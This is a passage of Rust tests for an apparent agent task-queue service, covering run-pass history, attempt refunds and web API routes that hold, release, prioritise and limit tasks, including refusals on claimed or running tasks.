16873        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16874        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16875        assert_eq!(
16876            (v.exit, v.attempt),
16877            (RunExit::Parked, AttemptCost::Refunded)
16878        );
16879        let spent = flow_run(RunStatus::Blocked, |_| {});
16880        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16881        assert_eq!(v.attempt, AttemptCost::Spent);
16882        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16883    }
16884
16885    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16886        crate::run::RunPass {
16887            index,
16888            started_at: Timestamp::now(),
16889            resumed: index > 0,
16890            ended_at: end.as_ref().map(|_| Timestamp::now()),
16891            end,
16892            task_entry: true,
16893        }
16894    }
16895
16896    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16897        Some(crate::run::PassEnd::Parked { cause })
16898    }
16899
16900    fn upgrade_cause() -> crate::run::ParkCause {
16901        crate::run::ParkCause::Upgrade {
16902            from: "0.121.0".to_owned(),
16903            to: Some("0.121.1".to_owned()),
16904        }
16905    }
16906
16907    fn settled_pass(
16908        run: &str,
16909        index: usize,
16910        cost: crate::queue::PassCost,
16911    ) -> crate::queue::TaskPass {
16912        crate::queue::TaskPass {
16913            run: run.to_owned(),
16914            pass_index: index,
16915            started_at: None,
16916            cost,
16917            attempts_after: 1,
16918            settled_at: Timestamp::now(),
16919            parked: None,
16920        }
16921    }
16922
16923    const RUN_X: &str = "20261011-223708-4334";
16924
16925    #[test]
16926    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16927        use crate::queue::PassCost;
16928        let run = flow_run(RunStatus::Implementing, |s| {
16929            s.passes = vec![
16930                recorded_pass(0, parked(upgrade_cause())),
16931                recorded_pass(1, None),
16932            ];
16933        });
16934        let mut task = flow_task(&[RUN_X, RUN_X]);
16935        task.attempts = 1;
16936        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16937        let h = task_history(&task, |_| Some(run.clone()));
16938        assert_eq!(h.len(), 2);
16939        assert_eq!(h[0].kind, "competition");
16940        assert_eq!(h[1].kind, "resume");
16941        assert_eq!(
16942            (h[0].exit, h[0].attempt),
16943            (RunExit::Parked, AttemptCost::Refunded)
16944        );
16945        assert!(
16946            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16947            "{}",
16948            h[0].outcome
16949        );
16950        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16951        assert!(
16952            h[0].outcome.contains("pass #2 resumed the same run"),
16953            "{}",
16954            h[0].outcome
16955        );
16956        assert!(
16957            h[0].outcome.contains("pass 1 of 2 over run"),
16958            "{}",
16959            h[0].outcome
16960        );
16961        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16962        assert_eq!(
16963            h[0].exit_label,
16964            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16965        );
16966        let f = task_flow(&task, &h, 2, None);
16967        // Two passes of one run, one of two attempts consumed.
16968        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16969        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16970        assert!(
16971            f.edges[1].label.contains("upgrade 0.121.0"),
16972            "{}",
16973            f.edges[1].label
16974        );
16975        assert!(
16976            f.edges[1].label.contains("resume the same run"),
16977            "{}",
16978            f.edges[1].label
16979        );
16980        assert_eq!(f.nodes[1].note, Some("parked"));
16981    }
16982
16983    #[test]
16984    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16985        let mut a = flow_run(RunStatus::Implementing, |s| {
16986            s.passes = vec![
16987                recorded_pass(0, parked(upgrade_cause())),
16988                recorded_pass(1, None),
16989            ];
16990        });
16991        let mut b = flow_run(RunStatus::Failed, |s| {
16992            s.passes = vec![recorded_pass(0, None)];
16993        });
16994        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16995        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16996        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16997        let mut task = flow_task(&[]);
16998        task.start("a".into());
16999        task.start("b".into());
17000        task.start("a".into());
17001        assert_eq!(task.runs, ["b", "a"]);
17002        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17003        let h = task_history(&task, |id| {
17004            Some(if id == "a" { a.clone() } else { b.clone() })
17005        });
17006        assert_eq!(
17007            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17008            ["a", "b", "a"]
17009        );
17010        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17011        assert!(h[0].outcome.contains("upgrade"));
17012        assert_eq!(h[2].kind, "resume");
17013        assert!(h[2].pass.is_some());
17014        // The old repeated-id format must show the same recorded passes.
17015        task.runs = vec!["a".into(), "b".into(), "a".into()];
17016        let old = task_history(&task, |id| {
17017            Some(if id == "a" { a.clone() } else { b.clone() })
17018        });
17019        assert_eq!(
17020            old.iter()
17021                .map(|v| (&v.id, &v.kind, v.attempt))
17022                .collect::<Vec<_>>(),
17023            h.iter()
17024                .map(|v| (&v.id, &v.kind, v.attempt))
17025                .collect::<Vec<_>>()
17026        );
17027    }
17028
17029    #[test]
17030    fn an_upgrade_whose_target_was_not_known_says_so() {
17031        let run = flow_run(RunStatus::Implementing, |s| {
17032            s.passes = vec![
17033                recorded_pass(
17034                    0,
17035                    parked(crate::run::ParkCause::Upgrade {
17036                        from: "0.121.0".to_owned(),
17037                        to: None,
17038                    }),
17039                ),
17040                recorded_pass(1, None),
17041            ];
17042        });
17043        let task = flow_task(&[RUN_X, RUN_X]);
17044        let h = task_history(&task, |_| Some(run.clone()));
17045        assert!(
17046            h[0].outcome.contains("upgrade from 0.121.0"),
17047            "{}",
17048            h[0].outcome
17049        );
17050        // No settle record: the refund is not claimed.
17051        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17052    }
17053
17054    #[test]
17055    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17056        use crate::queue::PassCost;
17057        use crate::run::ParkCause;
17058        let run = flow_run(RunStatus::Implementing, |s| {
17059            s.passes = vec![
17060                recorded_pass(0, parked(upgrade_cause())),
17061                recorded_pass(
17062                    1,
17063                    parked(ParkCause::Interrupt {
17064                        reason: "task a1b2 asked to run first".to_owned(),
17065                    }),
17066                ),
17067                recorded_pass(2, parked(ParkCause::Operator)),
17068                recorded_pass(3, None),
17069            ];
17070        });
17071        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17072        task.attempts = 1;
17073        task.passes = (0..3)
17074            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17075            .collect();
17076        let h = task_history(&task, |_| Some(run.clone()));
17077        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17078        assert!(
17079            h[1].outcome.contains("task a1b2 asked to run first"),
17080            "{}",
17081            h[1].outcome
17082        );
17083        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17084        assert!(
17085            h[2].outcome.contains("operator asked the loop to park"),
17086            "{}",
17087            h[2].outcome
17088        );
17089        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17090        let f = task_flow(&task, &h, 2, None);
17091        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17092    }
17093
17094    #[test]
17095    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17096        let run = flow_run(RunStatus::Implementing, |s| {
17097            s.passes = vec![
17098                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17099                recorded_pass(1, None),
17100            ];
17101        });
17102        let task = flow_task(&[RUN_X, RUN_X]);
17103        let h = task_history(&task, |_| Some(run.clone()));
17104        assert_eq!(h[0].exit, RunExit::Interrupted);
17105        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17106        assert!(
17107            h[0].outcome.contains("without recording why"),
17108            "{}",
17109            h[0].outcome
17110        );
17111        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17112        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17113    }
17114
17115    #[test]
17116    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17117        use crate::queue::PassCost;
17118        // Three entries, but the run only began keeping passes at the last
17119        // two: the first is legacy and must not be given a cause.
17120        let run = flow_run(RunStatus::Implementing, |s| {
17121            s.passes = vec![
17122                recorded_pass(0, parked(upgrade_cause())),
17123                recorded_pass(1, None),
17124            ];
17125        });
17126        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17127        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17128        let h = task_history(&task, |_| Some(run.clone()));
17129        assert!(h[0].pass.is_none());
17130        assert_eq!(h[0].exit, RunExit::Interrupted);
17131        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17132        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17133        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17134        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17135        // A run with no passes at all is entirely unknown.
17136        let legacy = flow_run(RunStatus::Implementing, |_| {});
17137        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17138        assert!(h.iter().all(|v| v.pass.is_none()));
17139        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17140    }
17141
17142    #[test]
17143    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17144        use crate::queue::PassCost;
17145        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17146        // task. The two entries are passes 0 and 2.
17147        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17148        web.task_entry = false;
17149        let run = flow_run(RunStatus::Implementing, |s| {
17150            s.passes = vec![
17151                recorded_pass(0, parked(upgrade_cause())),
17152                web.clone(),
17153                recorded_pass(2, None),
17154            ];
17155        });
17156        let mut task = flow_task(&[RUN_X, RUN_X]);
17157        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17158        let h = task_history(&task, |_| Some(run.clone()));
17159        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17160        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17161
17162        // Legacy first entry, then a web resume that parked for an upgrade,
17163        // then the daemon's pass: the legacy entry must stay unknown.
17164        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17165        web0.task_entry = false;
17166        let run = flow_run(RunStatus::Implementing, |s| {
17167            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17168        });
17169        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17170        assert!(h[0].pass.is_none());
17171        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17172        assert!(h[1].pass.is_some());
17173    }
17174
17175    #[tokio::test]
17176    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17177        let dir = tempfile::tempdir().unwrap();
17178        let queue = Queue::at(dir.path().join("queue"));
17179        let ui = Arc::new(Ui::new(
17180            queue.clone(),
17181            Questions::at(dir.path().join("questions")),
17182            Talks::at(dir.path().join("talks")),
17183            dir.path().join("runs"),
17184            dir.path().to_path_buf(),
17185            dir.path().to_path_buf(),
17186        ));
17187        let mut t = Task::new(
17188            "recover".into(),
17189            "Inspect".into(),
17190            PathBuf::from("."),
17191            Source::Human,
17192        );
17193        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17194        t.start("run-A".into());
17195        t.release_operator("choice", Some("resume-question"));
17196        t.resume_override = Some(crate::queue::OperatorResume {
17197            question_id: "resume-question".into(),
17198            at: jiff::Timestamp::now(),
17199            conductor_rehold: None,
17200            forced: true,
17201            pinned_run: Some("run-A".into()),
17202        });
17203        t.hold_machine(Some("inspection pending".into()));
17204        t.edit("recover".into(), "Reuse approved PR head".into())
17205            .unwrap();
17206        queue.put(&mut t).unwrap();
17207        let mut cli = t.clone();
17208        cli.release_operator("cli", None);
17209        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17210        let reloaded = queue.get(&t.id).unwrap();
17211        assert_eq!(reply.task.status, TaskStatus::Queued);
17212        assert!(reloaded.resume_override.is_none());
17213        assert_eq!(reloaded.answers, t.answers);
17214        let mut web = reloaded.resumption.unwrap();
17215        let cli = cli.resumption.unwrap();
17216        assert_eq!(web.source, "web");
17217        web.source = cli.source.clone();
17218        web.at = cli.at;
17219        assert_eq!(web, cli);
17220    }
17221
17222    #[tokio::test]
17223    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17224        let f = Fixture::start().await;
17225        let queue = f.queue();
17226        let mut task = Task::new(
17227            "spent".to_owned(),
17228            "Try again".to_owned(),
17229            PathBuf::from("/repo/magi"),
17230            Source::Human,
17231        );
17232        task.start("20260902-140502-bbbb".to_owned());
17233        task.fail("agent gave up", 9);
17234        queue.put(&mut task).expect("file the task");
17235
17236        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17237        assert_eq!(held.status, 200);
17238        assert_eq!(held.json()["status_str"], "held");
17239
17240        let released = f
17241            .post(&format!("/api/queue/{}/release", task.id), None)
17242            .await;
17243        assert_eq!(released.status, 200);
17244        assert_eq!(released.json()["status_str"], "queued");
17245        assert_eq!(released.json()["resumption"]["source"], "web");
17246        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17247        let mut cli = task.clone();
17248        cli.release_operator("cli", None);
17249        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17250        let cli = cli.resumption.unwrap();
17251        assert_eq!(web.instruction, cli.instruction);
17252        assert_eq!(web.answers_through, cli.answers_through);
17253        assert_eq!(web.runs_through, cli.runs_through);
17254        assert_eq!(web.cleared_reason, cli.cleared_reason);
17255        assert_eq!(
17256            released.json()["attempts"],
17257            0,
17258            "release is a real second chance, not an instant re-hold"
17259        );
17260        assert_eq!(
17261            queue.get(&task.id).expect("reload").status,
17262            TaskStatus::Queued,
17263            "the change is on disk, not only in the reply"
17264        );
17265        assert!(
17266            !f.home
17267                .path()
17268                .join("queue")
17269                .join(format!("{}.lock", task.id))
17270                .exists(),
17271            "the claim the mutation took is released again"
17272        );
17273    }
17274
17275    #[tokio::test]
17276    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17277        let f = Fixture::start().await;
17278        let queue = f.queue();
17279        let mut task = Task::new(
17280            "busy".to_owned(),
17281            "Running right now".to_owned(),
17282            PathBuf::from("/repo/magi"),
17283            Source::Human,
17284        );
17285        queue.put(&mut task).expect("file the task");
17286        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17287
17288        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17289
17290        assert_eq!(res.status, 409);
17291        assert_eq!(
17292            queue.get(&task.id).expect("reload").status,
17293            TaskStatus::Queued,
17294            "the refused hold changed nothing"
17295        );
17296    }
17297
17298    #[tokio::test]
17299    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17300        let f = Fixture::start().await;
17301        let queue = f.queue();
17302        let mut task = Task::new(
17303            "waiting on the migration".to_owned(),
17304            "Do the thing".to_owned(),
17305            PathBuf::from("/repo/magi"),
17306            Source::Human,
17307        );
17308        queue.put(&mut task).expect("file the task");
17309
17310        let held = f
17311            .post(
17312                &format!("/api/queue/{}/hold", task.id),
17313                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17314            )
17315            .await;
17316        assert_eq!(held.status, 200, "{}", held.body);
17317        assert_eq!(held.json()["status_str"], "held");
17318        assert_eq!(
17319            held.json()["hold_reason"],
17320            "waiting for 20260101-000000-aaaa to land"
17321        );
17322
17323        let listed = f.get("/api/queue").await.json();
17324        assert_eq!(
17325            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17326            "the card reads the reason off the same list route"
17327        );
17328
17329        // A hold with no body at all must keep working - most holds have no
17330        // reason to give.
17331        let mut plain = Task::new(
17332            "no reason given".to_owned(),
17333            "Do another thing".to_owned(),
17334            PathBuf::from("/repo/magi"),
17335            Source::Human,
17336        );
17337        queue.put(&mut plain).expect("file the task");
17338        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17339        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17340        assert!(held_plain.json()["hold_reason"].is_null());
17341
17342        let released = f
17343            .post(&format!("/api/queue/{}/release", task.id), None)
17344            .await;
17345        assert_eq!(released.status, 200);
17346        assert!(
17347            released.json()["hold_reason"].is_null(),
17348            "a release must clear the reason so the next hold does not inherit it"
17349        );
17350    }
17351
17352    #[test]
17353    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17354        for urgent in [true, false] {
17355            let body: UrgentBody =
17356                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17357            assert_eq!(body.urgent, urgent);
17358        }
17359        for input in [
17360            r#"{}"#,
17361            r#"{"urgent":null}"#,
17362            r#"{"urgent":"true"}"#,
17363            r#"{"urgent":1}"#,
17364            r#"{"urgent":true,"extra":false}"#,
17365        ] {
17366            assert!(
17367                serde_json::from_str::<UrgentBody>(input).is_err(),
17368                "{input}"
17369            );
17370        }
17371    }
17372
17373    #[tokio::test]
17374    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17375        let home = TempDir::new().unwrap();
17376        let q = Queue::at(home.path().join("queue"));
17377        let ui = Arc::new(Ui::new(
17378            q.clone(),
17379            Questions::at(home.path().join("questions")),
17380            Talks::at(home.path().join("talks")),
17381            home.path().join("runs"),
17382            home.path().into(),
17383            home.path().into(),
17384        ));
17385        let mut task = Task::new(
17386            "urgent handler".into(),
17387            "keep".into(),
17388            home.path().into(),
17389            Source::Human,
17390        );
17391        for status in [TaskStatus::Queued, TaskStatus::Held] {
17392            task.status = status;
17393            q.put(&mut task).unwrap();
17394            for urgent in [true, true, false, false] {
17395                let saved = queue_urgent(
17396                    State(Arc::clone(&ui)),
17397                    Path(task.short().into()),
17398                    Ok(Json(UrgentBody { urgent })),
17399                )
17400                .await
17401                .unwrap();
17402                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17403                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17404            }
17405        }
17406        task.status = TaskStatus::Queued;
17407        q.put(&mut task).unwrap();
17408        let claim = q.claim(&task.id).unwrap();
17409        let error = queue_urgent(
17410            State(Arc::clone(&ui)),
17411            Path(task.id.clone()),
17412            Ok(Json(UrgentBody { urgent: true })),
17413        )
17414        .await
17415        .unwrap_err();
17416        assert_eq!(error.status, StatusCode::CONFLICT);
17417        assert!(error.message.contains("released"));
17418        drop(claim);
17419        for status in [
17420            TaskStatus::Running,
17421            TaskStatus::Done,
17422            TaskStatus::Failed,
17423            TaskStatus::Blocked,
17424            TaskStatus::Parked,
17425        ] {
17426            task.status = status;
17427            q.put(&mut task).unwrap();
17428            let error = queue_urgent(
17429                State(Arc::clone(&ui)),
17430                Path(task.id.clone()),
17431                Ok(Json(UrgentBody { urgent: false })),
17432            )
17433            .await
17434            .unwrap_err();
17435            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17436            assert!(error.message.contains(status.as_str()));
17437        }
17438    }
17439
17440    #[tokio::test]
17441    async fn urgent_api_updates_preserves_and_validates_tasks() {
17442        let f = Fixture::start().await;
17443        let q = f.queue();
17444        let mut t = Task::new(
17445            "urgent API".into(),
17446            "unchanged".into(),
17447            PathBuf::from("/repo/magi"),
17448            Source::Human,
17449        );
17450        t.attempts = 2;
17451        t.priority = 9;
17452        t.interrupt = true;
17453        t.hold_reason = Some("waiting for approval".into());
17454        for status in [TaskStatus::Queued, TaskStatus::Held] {
17455            t.status = status;
17456            q.put(&mut t).unwrap();
17457            for urgent in [true, true, false, false] {
17458                let response = f
17459                    .post(
17460                        &format!("/api/queue/{}/urgent", t.short()),
17461                        Some(&format!("{{\"urgent\":{urgent}}}")),
17462                    )
17463                    .await;
17464                assert_eq!(response.status, 200, "{}", response.body);
17465                assert_eq!(response.json()["urgent"], urgent);
17466                let saved = q.get(&t.id).unwrap();
17467                let mut before = serde_json::to_value(&t).unwrap();
17468                let mut after = serde_json::to_value(saved).unwrap();
17469                before["urgent"] = urgent.into();
17470                before.as_object_mut().unwrap().remove("updated_at");
17471                after.as_object_mut().unwrap().remove("updated_at");
17472                assert_eq!(after, before);
17473            }
17474        }
17475        let route = format!("/api/queue/{}/urgent", t.id);
17476        for body in [
17477            r#"{}"#,
17478            r#"{"urgent":null}"#,
17479            r#"{"urgent":"true"}"#,
17480            r#"{"urgent":1}"#,
17481            r#"{"urgent":true,"extra":false}"#,
17482            "{",
17483        ] {
17484            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17485        }
17486        t.status = TaskStatus::Queued;
17487        q.put(&mut t).unwrap();
17488        let claim = q.claim(&t.id).unwrap();
17489        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17490        assert_eq!(response.status, 409, "{}", response.body);
17491        assert!(!q.get(&t.id).unwrap().urgent);
17492        drop(claim);
17493        for status in [
17494            TaskStatus::Running,
17495            TaskStatus::Done,
17496            TaskStatus::Failed,
17497            TaskStatus::Blocked,
17498            TaskStatus::Parked,
17499        ] {
17500            t.status = status;
17501            q.put(&mut t).unwrap();
17502            for urgent in [true, false] {
17503                let response = f
17504                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17505                    .await;
17506                assert_eq!(response.status, 400, "{}", response.body);
17507                assert!(response.body.contains(status.as_str()));
17508                assert!(response.body.contains("queued or held"));
17509                assert!(!q.get(&t.id).unwrap().urgent);
17510            }
17511        }
17512        assert_eq!(
17513            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17514                .await
17515                .status,
17516            404
17517        );
17518    }
17519
17520    #[tokio::test]
17521    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17522        let f = Fixture::start().await;
17523        let queue = f.queue();
17524        let mut older = Task::new(
17525            "filed first".to_owned(),
17526            "x".to_owned(),
17527            PathBuf::from("/repo/magi"),
17528            Source::Human,
17529        );
17530        older.id = "20260101-000001-aaaa".to_owned();
17531        let mut newer = Task::new(
17532            "filed second".to_owned(),
17533            "x".to_owned(),
17534            PathBuf::from("/repo/magi"),
17535            Source::Human,
17536        );
17537        newer.id = "20260101-000002-bbbb".to_owned();
17538        queue.put(&mut older).expect("file older");
17539        queue.put(&mut newer).expect("file newer");
17540
17541        // Equal priority: the newer task leads, the same order the old
17542        // newest-first `list()` already gave every equal-priority queue.
17543        let before = f.get("/api/queue").await.json();
17544        assert_eq!(before[0]["id"], newer.id);
17545        assert_eq!(before[1]["id"], older.id);
17546
17547        // Raising the *older* task is the meaningful case: it can only lead
17548        // now because its priority says so, not because it happens to be
17549        // newest.
17550        let raised = f
17551            .post(
17552                &format!("/api/queue/{}/priority", older.id),
17553                Some(r#"{"priority":10}"#),
17554            )
17555            .await;
17556        assert_eq!(raised.status, 200, "{}", raised.body);
17557        assert_eq!(raised.json()["priority"], 10);
17558
17559        let after = f.get("/api/queue").await.json();
17560        let names: Vec<&str> = after
17561            .as_array()
17562            .unwrap()
17563            .iter()
17564            .map(|t| t["id"].as_str().unwrap())
17565            .collect();
17566        // Highest priority first, which is the order next_runnable and
17567        // `magi task list` both use - GET /api/queue must agree with it
17568        // immediately, not just once the loop claims the task.
17569        assert_eq!(names[0], older.id, "the raised task now sorts first");
17570    }
17571
17572    #[tokio::test]
17573    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17574        let dir = TempDir::new().unwrap();
17575        let q = Queue::at(dir.path().join("queue"));
17576        let ui = Arc::new(Ui::new(
17577            q.clone(),
17578            Questions::at(dir.path().join("questions")),
17579            Talks::at(dir.path().join("talks")),
17580            dir.path().join("runs"),
17581            dir.path().to_path_buf(),
17582            dir.path().to_path_buf(),
17583        ));
17584        let mut t = Task::new(
17585            "budget".into(),
17586            "keep".into(),
17587            dir.path().into(),
17588            Source::Human,
17589        );
17590        t.attempts = 2;
17591        t.runs.push("prior-run".into());
17592        t.hold_manual(Some("waiting".into()));
17593        q.put(&mut t).unwrap();
17594        let change = |value| {
17595            queue_attempt_limit(
17596                State(ui.clone()),
17597                Path(t.id.clone()),
17598                Ok(Json(AttemptLimitBody {
17599                    attempt_limit: value,
17600                })),
17601            )
17602        };
17603        for value in [
17604            serde_json::json!(3),
17605            serde_json::Value::Null,
17606            serde_json::json!(1),
17607        ] {
17608            let response = change(value.clone()).await.unwrap();
17609            assert_eq!(
17610                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17611                value
17612            );
17613            let saved = q.get(&t.id).unwrap();
17614            assert_eq!(
17615                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17616                value
17617            );
17618            assert_eq!(saved.status, TaskStatus::Held);
17619            assert_eq!(saved.attempts, t.attempts);
17620            assert_eq!(saved.runs, t.runs);
17621            assert_eq!(saved.hold_reason, t.hold_reason);
17622            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17623                .await
17624                .unwrap()
17625                .0;
17626            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17627            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17628            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17629            assert_eq!(outcome.max_attempts, detail.max_attempts);
17630        }
17631        for value in [
17632            serde_json::json!(0),
17633            serde_json::json!(-1),
17634            serde_json::json!(1.5),
17635            serde_json::json!("3"),
17636            serde_json::json!(true),
17637        ] {
17638            assert_eq!(
17639                change(value).await.err().unwrap().status,
17640                StatusCode::BAD_REQUEST
17641            );
17642        }
17643        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17644        let claim = q.claim(&t.id).unwrap();
17645        assert_eq!(
17646            change(serde_json::json!(4)).await.err().unwrap().status,
17647            StatusCode::CONFLICT
17648        );
17649        drop(claim);
17650        for status in [
17651            TaskStatus::Running,
17652            TaskStatus::Done,
17653            TaskStatus::Failed,
17654            TaskStatus::Blocked,
17655            TaskStatus::Parked,
17656        ] {
17657            let mut stored = q.get(&t.id).unwrap();
17658            stored.status = status;
17659            q.put(&mut stored).unwrap();
17660            assert_eq!(
17661                change(serde_json::json!(4)).await.err().unwrap().status,
17662                StatusCode::BAD_REQUEST
17663            );
17664            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17665        }
17666        let mut stored = q.get(&t.id).unwrap();
17667        stored.status = TaskStatus::Queued;
17668        q.put(&mut stored).unwrap();
17669        let _ = change(serde_json::Value::Null).await.unwrap();
17670        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17671    }
17672
17673    #[tokio::test]
17674    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17675        let dir = TempDir::new().unwrap();
17676        let repo = dir.path().join("repo");
17677        std::fs::create_dir(&repo).unwrap();
17678        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17679        let q = Queue::at(dir.path().join("queue"));
17680        let ui = Arc::new(Ui::new(
17681            q.clone(),
17682            Questions::at(dir.path().join("questions")),
17683            Talks::at(dir.path().join("talks")),
17684            dir.path().join("runs"),
17685            dir.path().to_path_buf(),
17686            repo.clone(),
17687        ));
17688        let mut t = Task::new(
17689            "seats".into(),
17690            "keep instruction".into(),
17691            repo,
17692            Source::Human,
17693        );
17694        t.runs.push("prior-run".into());
17695        t.hold_manual(Some("waiting".into()));
17696        q.put(&mut t).unwrap();
17697        let change = |count| {
17698            queue_implementers(
17699                State(ui.clone()),
17700                Path(t.id.clone()),
17701                Ok(Json(ImplementersBody {
17702                    implementers: count,
17703                })),
17704            )
17705        };
17706        for count in [2, 1, 2] {
17707            let response = change(count).await.unwrap();
17708            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17709            let saved = q.get(&t.id).unwrap();
17710            assert_eq!(saved.implementers(), Some(usize::from(count)));
17711            assert_eq!(saved.runs, t.runs);
17712            assert_eq!(saved.instruction, t.instruction);
17713        }
17714        for count in [0, 4] {
17715            assert_eq!(
17716                change(count).await.err().unwrap().status,
17717                StatusCode::BAD_REQUEST
17718            );
17719        }
17720        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17721        let claim = q.claim(&t.id).unwrap();
17722        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17723        drop(claim);
17724        for status in [
17725            TaskStatus::Running,
17726            TaskStatus::Done,
17727            TaskStatus::Failed,
17728            TaskStatus::Blocked,
17729            TaskStatus::Parked,
17730        ] {
17731            let mut stored = q.get(&t.id).unwrap();
17732            stored.status = status;
17733            q.put(&mut stored).unwrap();
17734            assert_eq!(
17735                change(1).await.err().unwrap().status,
17736                StatusCode::BAD_REQUEST
17737            );
17738            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17739        }
17740    }
17741
17742    #[tokio::test]
17743    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17744        let f = Fixture::start().await;
17745        let queue = f.queue();
17746        let mut task = Task::new(
17747            "in flight".to_owned(),
17748            "x".to_owned(),
17749            PathBuf::from("/repo/magi"),
17750            Source::Human,
17751        );
17752        task.start("20260902-140502-bbbb".to_owned());
17753        queue.put(&mut task).expect("file the task");
17754
17755        let res = f
17756            .post(
17757                &format!("/api/queue/{}/priority", task.id),
17758                Some(r#"{"priority":9}"#),
17759            )
17760            .await;
17761        assert_eq!(res.status, 400, "{}", res.body);
17762        assert!(
17763            res.json()["error"]
17764                .as_str()
17765                .is_some_and(|e| e.contains("running")),
17766            "{}",
17767            res.body
